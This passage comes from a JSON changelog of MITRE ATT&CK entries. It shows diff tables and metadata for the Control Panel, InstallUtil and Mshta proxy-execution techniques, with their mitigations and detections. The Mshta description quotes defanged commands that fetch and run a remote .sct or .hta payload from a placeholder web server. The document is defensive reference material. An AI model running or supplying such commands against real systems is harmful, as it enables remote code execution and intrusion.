nowrap=\"nowrap\">PL)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Malware&nbsp;Jan&nbsp;2014)&nbsp;For&nbsp;ease&nbsp;of&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se,&nbsp;Control&nbsp;Panel&nbsp;items&nbsp;typically&nbsp;include&nbsp;graphical&nbsp;menus&nbsp;av</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se,&nbsp;Control&nbsp;Panel&nbsp;items&nbsp;typically&nbsp;include&nbsp;graphical&nbsp;menus&nbsp;av</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ailable&nbsp;to&nbsp;users&nbsp;after&nbsp;being&nbsp;registered&nbsp;and&nbsp;loaded&nbsp;into&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ailable&nbsp;to&nbsp;users&nbsp;after&nbsp;being&nbsp;registered&nbsp;and&nbsp;loaded&nbsp;into&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Control&nbsp;Panel.(Citation:&nbsp;Microsoft&nbsp;Implementing&nbsp;CPL)&nbsp;Control</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Control&nbsp;Panel.(Citation:&nbsp;Microsoft&nbsp;Implementing&nbsp;CPL)&nbsp;Control</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Panel&nbsp;items&nbsp;can&nbsp;be&nbsp;executed&nbsp;directly&nbsp;from&nbsp;the&nbsp;command&nbsp;line,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Panel&nbsp;items&nbsp;can&nbsp;be&nbsp;executed&nbsp;directly&nbsp;from&nbsp;the&nbsp;command&nbsp;line,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;programmatically&nbsp;via&nbsp;an&nbsp;application&nbsp;programming&nbsp;interface&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;programmatically&nbsp;via&nbsp;an&nbsp;application&nbsp;programming&nbsp;interface&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">API)&nbsp;call,&nbsp;or&nbsp;by&nbsp;simply&nbsp;double-clicking&nbsp;the&nbsp;file.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">API)&nbsp;call,&nbsp;or&nbsp;by&nbsp;simply&nbsp;double-clicking&nbsp;the&nbsp;file.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Microsoft&nbsp;Implementing&nbsp;CPL)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Malwar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Microsoft&nbsp;Implementing&nbsp;CPL)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Malware</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Jan&nbsp;2014)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Malware&nbsp;Dec&nbsp;2013)&nbsp;&nbsp;Mali</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Jan&nbsp;2014)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Malware&nbsp;Dec&nbsp;2013)&nbsp;&nbsp;Malic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;Control&nbsp;Panel&nbsp;items&nbsp;can&nbsp;be&nbsp;delivered&nbsp;via&nbsp;[Phishing](ht</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;Control&nbsp;Panel&nbsp;items&nbsp;can&nbsp;be&nbsp;delivered&nbsp;via&nbsp;[Phishing](htt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1566)&nbsp;campaigns(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1566)&nbsp;campaigns(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;TrendMicro&nbsp;CPL&nbsp;Malware&nbsp;Jan&nbsp;2014)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TrendMicro&nbsp;CPL&nbsp;Malware&nbsp;Jan&nbsp;2014)(Citation:&nbsp;TrendMicro&nbsp;CPL&nbsp;Ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alware&nbsp;Dec&nbsp;2013)&nbsp;or&nbsp;executed&nbsp;as&nbsp;part&nbsp;of&nbsp;multi-stage&nbsp;malware.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lware&nbsp;Dec&nbsp;2013)&nbsp;or&nbsp;executed&nbsp;as&nbsp;part&nbsp;of&nbsp;multi-stage&nbsp;malware.(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Reaver&nbsp;Nov&nbsp;2017)&nbsp;Control&nbsp;Panel&nbsp;items,&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Palo&nbsp;Alto&nbsp;Reaver&nbsp;Nov&nbsp;2017)&nbsp;Control&nbsp;Panel&nbsp;items,&nbsp;sp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pecifically&nbsp;CPL&nbsp;files,&nbsp;may&nbsp;also&nbsp;bypass&nbsp;application&nbsp;and/or&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecifically&nbsp;CPL&nbsp;files,&nbsp;may&nbsp;also&nbsp;bypass&nbsp;application&nbsp;and/or&nbsp;fil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;extension&nbsp;allow&nbsp;lists.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;rename&nbsp;malic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;extension&nbsp;allow&nbsp;lists.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;rename&nbsp;malici</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;DLL&nbsp;files&nbsp;(.dll)&nbsp;with&nbsp;Control&nbsp;Panel&nbsp;file&nbsp;extensions&nbsp;(.c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;DLL&nbsp;files&nbsp;(.dll)&nbsp;with&nbsp;Control&nbsp;Panel&nbsp;file&nbsp;extensions&nbsp;(.cp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pl)&nbsp;and&nbsp;register&nbsp;them&nbsp;to&nbsp;&lt;code&gt;HKCU\\Software\\Microsoft\\Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l)&nbsp;and&nbsp;register&nbsp;them&nbsp;to&nbsp;&lt;code&gt;HKCU\\Software\\Microsoft\\Window</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws\\CurrentVersion\\Control&nbsp;Panel\\Cpls&lt;/code&gt;.&nbsp;Even&nbsp;when&nbsp;these</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\CurrentVersion\\Control&nbsp;Panel\\Cpls&lt;/code&gt;.&nbsp;Even&nbsp;when&nbsp;these&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;registered&nbsp;DLLs&nbsp;do&nbsp;not&nbsp;comply&nbsp;with&nbsp;the&nbsp;CPL&nbsp;file&nbsp;specificati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">registered&nbsp;DLLs&nbsp;do&nbsp;not&nbsp;comply&nbsp;with&nbsp;the&nbsp;CPL&nbsp;file&nbsp;specificatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;and&nbsp;do&nbsp;not&nbsp;export&nbsp;&lt;code&gt;CPlApplet&lt;/code&gt;&nbsp;functions,&nbsp;they&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;and&nbsp;do&nbsp;not&nbsp;export&nbsp;&lt;code&gt;CPlApplet&lt;/code&gt;&nbsp;functions,&nbsp;they&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;loaded&nbsp;and&nbsp;executed&nbsp;through&nbsp;its&nbsp;&lt;code&gt;DllEntryPoint&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;loaded&nbsp;and&nbsp;executed&nbsp;through&nbsp;its&nbsp;&lt;code&gt;DllEntryPoint&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;when&nbsp;Control&nbsp;Panel&nbsp;is&nbsp;executed.&nbsp;CPL&nbsp;files&nbsp;not&nbsp;exporting&nbsp;&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;when&nbsp;Control&nbsp;Panel&nbsp;is&nbsp;executed.&nbsp;CPL&nbsp;files&nbsp;not&nbsp;exporting&nbsp;&lt;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;CPlApplet&lt;/code&gt;&nbsp;are&nbsp;not&nbsp;directly&nbsp;executable.(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;CPlApplet&lt;/code&gt;&nbsp;are&nbsp;not&nbsp;directly&nbsp;executable.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;ESET&nbsp;InvisiMole&nbsp;June&nbsp;2020)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ESET&nbsp;InvisiMole&nbsp;June&nbsp;2020)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0194: Detection of Malicious Control Panel Item Execution via control.exe or Rundll32"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 19:09:48.811000+00:00",
                    "modified": "2026-11-04 00:42:40.884000+00:00",
                    "name": "InstallUtil",
                    "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.(Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.(Citation: LOLBAS Installutil)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/004",
                            "external_id": "T1218.004"
                        },
                        {
                            "source_name": "LOLBAS Installutil",
                            "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
                        },
                        {
                            "source_name": "MSDN InstallUtil",
                            "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                            "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Casey Smith",
                        "Travis Smith, Tripwire"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:42:40.884000+00:00\", \"old_value\": \"2026-05-12 15:12:00.623000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.(Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v<version>\\\\InstallUtil.exe</code> and <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v<version>\\\\InstallUtil.exe</code>.\\n\\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.(Citation: LOLBAS Installutil)\", \"old_value\": \"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v<version>\\\\InstallUtil.exe</code> and <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v<version>\\\\InstallUtil.exe</code>.\\n\\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v<version>\\\\InstallUtil.exe</code> and <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v<version>\\\\InstallUtil.exe</code>.\\n+Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.(Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v<version>\\\\InstallUtil.exe</code> and <code>C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v<version>\\\\InstallUtil.exe</code>.\\n \\n-InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)\\n+InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.(Citation: LOLBAS Installutil)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to59__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to59__0\"><a href=\"#difflib_chg_to59__top\">t</a></td><td class=\"diff_header\" id=\"from59_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;InstallUtil&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;code&nbsp;t</td><td class=\"diff_next\"><a href=\"#difflib_chg_to59__top\">t</a></td><td class=\"diff_header\" id=\"to59_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;InstallUtil&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;code&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hrough&nbsp;a&nbsp;trusted&nbsp;Windows&nbsp;utility.&nbsp;InstallUtil&nbsp;is&nbsp;a&nbsp;command-l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hrough&nbsp;a&nbsp;trusted&nbsp;Windows&nbsp;utility.&nbsp;InstallUtil&nbsp;is&nbsp;a&nbsp;command-l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ine&nbsp;utility&nbsp;that&nbsp;allows&nbsp;for&nbsp;installation&nbsp;and&nbsp;uninstallation&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ine&nbsp;utility&nbsp;that&nbsp;allows&nbsp;for&nbsp;installation&nbsp;and&nbsp;uninstallation&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;resources&nbsp;by&nbsp;executing&nbsp;specific&nbsp;installer&nbsp;components&nbsp;spec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;resources&nbsp;by&nbsp;executing&nbsp;specific&nbsp;installer&nbsp;components&nbsp;spec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ified&nbsp;in&nbsp;.NET&nbsp;binaries.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MSDN&nbsp;InstallUtil)&nbsp;The&nbsp;Ins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ified&nbsp;in&nbsp;.NET&nbsp;binaries.(Citation:&nbsp;MSDN&nbsp;InstallUtil)&nbsp;The&nbsp;Inst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tallUtil&nbsp;binary&nbsp;may&nbsp;also&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;by&nbsp;Microsoft&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">allUtil&nbsp;binary&nbsp;may&nbsp;also&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;by&nbsp;Microsoft&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;located&nbsp;in&nbsp;the&nbsp;.NET&nbsp;directories&nbsp;on&nbsp;a&nbsp;Windows&nbsp;system:&nbsp;&lt;code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;located&nbsp;in&nbsp;the&nbsp;.NET&nbsp;directories&nbsp;on&nbsp;a&nbsp;Windows&nbsp;system:&nbsp;&lt;code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;C:\\Windows\\Microsoft.NET\\Framework\\v&lt;version&gt;\\InstallUtil.e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">C:\\Windows\\Microsoft.NET\\Framework\\v&lt;version&gt;\\InstallUtil.ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xe&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;C:\\Windows\\Microsoft.NET\\Framework64\\v&lt;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;C:\\Windows\\Microsoft.NET\\Framework64\\v&lt;ve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersion&gt;\\InstallUtil.exe&lt;/code&gt;.&nbsp;&nbsp;InstallUtil&nbsp;may&nbsp;also&nbsp;be&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsion&gt;\\InstallUtil.exe&lt;/code&gt;.&nbsp;&nbsp;InstallUtil&nbsp;may&nbsp;also&nbsp;be&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;to&nbsp;bypass&nbsp;application&nbsp;control&nbsp;through&nbsp;use&nbsp;of&nbsp;attributes&nbsp;wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;bypass&nbsp;application&nbsp;control&nbsp;through&nbsp;use&nbsp;of&nbsp;attributes&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">thin&nbsp;the&nbsp;binary&nbsp;that&nbsp;execute&nbsp;the&nbsp;class&nbsp;decorated&nbsp;with&nbsp;the&nbsp;at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hin&nbsp;the&nbsp;binary&nbsp;that&nbsp;execute&nbsp;the&nbsp;class&nbsp;decorated&nbsp;with&nbsp;the&nbsp;att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tribute&nbsp;&lt;code&gt;[System.ComponentModel.RunInstaller(true)]&lt;/co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ribute&nbsp;&lt;code&gt;[System.ComponentModel.RunInstaller(true)]&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;LOLBAS&nbsp;Installutil)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;.(Citation:&nbsp;LOLBAS&nbsp;Installutil)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0138: Detection of Malicious Code Execution via InstallUtil.exe"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 19:32:49.557000+00:00",
                    "modified": "2026-11-03 20:12:12.385000+00:00",
                    "name": "Mshta",
                    "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.(Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.(Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/005",
                            "external_id": "T1218.005"
                        },
                        {
                            "source_name": "FireEye Attacks Leveraging HTA",
                            "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                        },
                        {
                            "source_name": "FireEye FIN7 April 2017",
                            "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                        },
                        {
                            "source_name": "Airbus Security Kovter Analysis",
                            "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                            "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                        },
                        {
                            "source_name": "Cylance Dust Storm",
                            "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                            "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
                        },
                        {
                            "source_name": "LOLBAS Mshta",
                            "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
                        },
                        {
                            "source_name": "Red Canary HTA Abuse Part Deux",
                            "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                            "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                        },
                        {
                            "source_name": "MSDN HTML Applications",
                            "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                            "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                        },
                        {
                            "source_name": "Wikipedia HTML Application",
                            "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                            "url": "https://en.wikipedia.org/wiki/HTML_Application"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "@ionstorm",
                        "Ricardo Dias",
                        "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
